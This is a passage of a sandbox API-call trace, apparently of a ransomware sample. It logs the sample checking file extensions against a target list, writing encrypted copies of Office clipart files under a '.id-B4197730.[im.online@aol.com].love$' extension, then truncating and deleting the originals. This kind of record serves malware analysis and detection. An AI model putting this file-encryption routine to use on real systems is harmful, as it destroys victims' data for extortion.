Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0235.969] lstrlenW (lpString=".dbf") returned 4 [0235.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0235.969] lstrlenW (lpString=".1cd") returned 4 [0235.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0235.969] lstrlenW (lpString=".jpg") returned 4 [0235.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.970] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.970] lstrlenW (lpString="BS00184_.WMF") returned 12 [0235.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0235.972] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=4976) returned 1 [0235.972] CloseHandle (hObject=0x48c) returned 1 [0235.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x220 [0235.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0235.973] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.973] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0235.974] GetLastError () returned 0x0 [0235.974] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x1370, lpOverlapped=0x0) returned 1 [0237.720] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x1380, lpOverlapped=0x0) returned 1 [0237.722] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.722] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.722] SetEndOfFile (hFile=0x4c4) returned 1 [0238.007] CloseHandle (hObject=0x4c4) returned 1 [0238.007] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.007] SetEndOfFile (hFile=0x48c) returned 1 [0238.011] CloseHandle (hObject=0x48c) returned 1 [0238.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0238.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0238.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0238.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0238.012] lstrlenW (lpString=".doc") returned 4 [0238.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.013] lstrlenW (lpString=".docx") returned 5 [0238.013] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.013] lstrlenW (lpString=".pdf") returned 4 [0238.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.013] lstrlenW (lpString=".xls") returned 4 [0238.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.013] lstrlenW (lpString=".xlsx") returned 5 [0238.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.013] lstrlenW (lpString=".ppt") returned 4 [0238.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0238.013] lstrlenW (lpString=".zip") returned 4 [0238.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.013] lstrlenW (lpString=".rar") returned 4 [0238.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.013] lstrlenW (lpString=".bz2") returned 4 [0238.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.013] lstrlenW (lpString=".7z") returned 3 [0238.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0238.013] lstrlenW (lpString=".dbf") returned 4 [0238.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0238.013] lstrlenW (lpString=".1cd") returned 4 [0238.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0238.013] lstrlenW (lpString=".jpg") returned 4 [0238.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0238.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0238.014] lstrlenW (lpString=".doc") returned 4 [0238.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.014] lstrlenW (lpString=".docx") returned 5 [0238.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.014] lstrlenW (lpString=".pdf") returned 4 [0238.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.014] lstrlenW (lpString=".xls") returned 4 [0238.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.014] lstrlenW (lpString=".xlsx") returned 5 [0238.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.014] lstrlenW (lpString=".ppt") returned 4 [0238.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0238.014] lstrlenW (lpString=".zip") returned 4 [0238.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.014] lstrlenW (lpString=".rar") returned 4 [0238.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.014] lstrlenW (lpString=".bz2") returned 4 [0238.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.014] lstrlenW (lpString=".7z") returned 3 [0238.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0238.014] lstrlenW (lpString=".dbf") returned 4 [0238.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0238.015] lstrlenW (lpString=".1cd") returned 4 [0238.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0238.015] lstrlenW (lpString=".jpg") returned 4 [0238.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.015] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0238.015] lstrlenW (lpString="BS00224_.WMF") returned 12 [0238.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0238.016] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=1588) returned 1 [0238.016] CloseHandle (hObject=0x48c) returned 1 [0238.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x220 [0238.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0238.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0238.017] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.017] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0238.018] GetLastError () returned 0x0 [0238.018] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x634, lpOverlapped=0x0) returned 1 [0238.030] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x640, lpOverlapped=0x0) returned 1 [0238.032] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.032] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.032] SetEndOfFile (hFile=0x4c4) returned 1 [0238.142] CloseHandle (hObject=0x4c4) returned 1 [0238.159] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.159] SetEndOfFile (hFile=0x48c) returned 1 [0238.179] CloseHandle (hObject=0x48c) returned 1 [0238.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0238.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0238.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0238.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0238.180] lstrlenW (lpString=".doc") returned 4 [0238.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.180] lstrlenW (lpString=".docx") returned 5 [0238.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.180] lstrlenW (lpString=".pdf") returned 4 [0238.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.180] lstrlenW (lpString=".xls") returned 4 [0238.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.181] lstrlenW (lpString=".xlsx") returned 5 [0238.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.181] lstrlenW (lpString=".ppt") returned 4 [0238.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0238.181] lstrlenW (lpString=".zip") returned 4 [0238.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.181] lstrlenW (lpString=".rar") returned 4 [0238.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.181] lstrlenW (lpString=".bz2") returned 4 [0238.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.181] lstrlenW (lpString=".7z") returned 3 [0238.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0238.181] lstrlenW (lpString=".dbf") returned 4 [0238.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0238.181] lstrlenW (lpString=".1cd") returned 4 [0238.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0238.181] lstrlenW (lpString=".jpg") returned 4 [0238.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0238.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0238.181] lstrlenW (lpString=".doc") returned 4 [0238.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.181] lstrlenW (lpString=".docx") returned 5 [0238.182] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.182] lstrlenW (lpString=".pdf") returned 4 [0238.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.182] lstrlenW (lpString=".xls") returned 4 [0238.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.182] lstrlenW (lpString=".xlsx") returned 5 [0238.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.182] lstrlenW (lpString=".ppt") returned 4 [0238.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0238.182] lstrlenW (lpString=".zip") returned 4 [0238.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.182] lstrlenW (lpString=".rar") returned 4 [0238.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.182] lstrlenW (lpString=".bz2") returned 4 [0238.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.182] lstrlenW (lpString=".7z") returned 3 [0238.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0238.182] lstrlenW (lpString=".dbf") returned 4 [0238.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0238.182] lstrlenW (lpString=".1cd") returned 4 [0238.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0238.182] lstrlenW (lpString=".jpg") returned 4 [0238.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.183] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0238.183] lstrlenW (lpString="BS00440_.WMF") returned 12 [0238.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0238.183] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=5580) returned 1 [0238.184] CloseHandle (hObject=0x48c) returned 1 [0238.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x220 [0238.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0238.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0238.184] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.184] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0238.185] GetLastError () returned 0x0 [0238.185] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x15cc, lpOverlapped=0x0) returned 1 [0238.188] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x15d0, lpOverlapped=0x0) returned 1 [0238.189] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.189] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.189] SetEndOfFile (hFile=0x4c4) returned 1 [0238.189] CloseHandle (hObject=0x4c4) returned 1 [0238.190] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.190] SetEndOfFile (hFile=0x48c) returned 1 [0238.193] CloseHandle (hObject=0x48c) returned 1 [0238.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0238.194] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0238.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0238.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0238.194] lstrlenW (lpString=".doc") returned 4 [0238.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.195] lstrlenW (lpString=".docx") returned 5 [0238.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.195] lstrlenW (lpString=".pdf") returned 4 [0238.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.195] lstrlenW (lpString=".xls") returned 4 [0238.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.195] lstrlenW (lpString=".xlsx") returned 5 [0238.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.195] lstrlenW (lpString=".ppt") returned 4 [0238.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0238.195] lstrlenW (lpString=".zip") returned 4 [0238.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.195] lstrlenW (lpString=".rar") returned 4 [0238.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.195] lstrlenW (lpString=".bz2") returned 4 [0238.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.195] lstrlenW (lpString=".7z") returned 3 [0238.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0238.195] lstrlenW (lpString=".dbf") returned 4 [0238.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0238.195] lstrlenW (lpString=".1cd") returned 4 [0238.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0238.196] lstrlenW (lpString=".jpg") returned 4 [0238.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0238.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0238.196] lstrlenW (lpString=".doc") returned 4 [0238.196] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.196] lstrlenW (lpString=".docx") returned 5 [0238.196] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.196] lstrlenW (lpString=".pdf") returned 4 [0238.196] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.196] lstrlenW (lpString=".xls") returned 4 [0238.196] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.196] lstrlenW (lpString=".xlsx") returned 5 [0238.196] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.196] lstrlenW (lpString=".ppt") returned 4 [0238.196] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0238.196] lstrlenW (lpString=".zip") returned 4 [0238.196] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.196] lstrlenW (lpString=".rar") returned 4 [0238.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.196] lstrlenW (lpString=".bz2") returned 4 [0238.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.196] lstrlenW (lpString=".7z") returned 3 [0238.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0238.196] lstrlenW (lpString=".dbf") returned 4 [0238.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0238.197] lstrlenW (lpString=".1cd") returned 4 [0238.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.197] lstrlenW (lpString="C:\\Program Files\\Microsoft 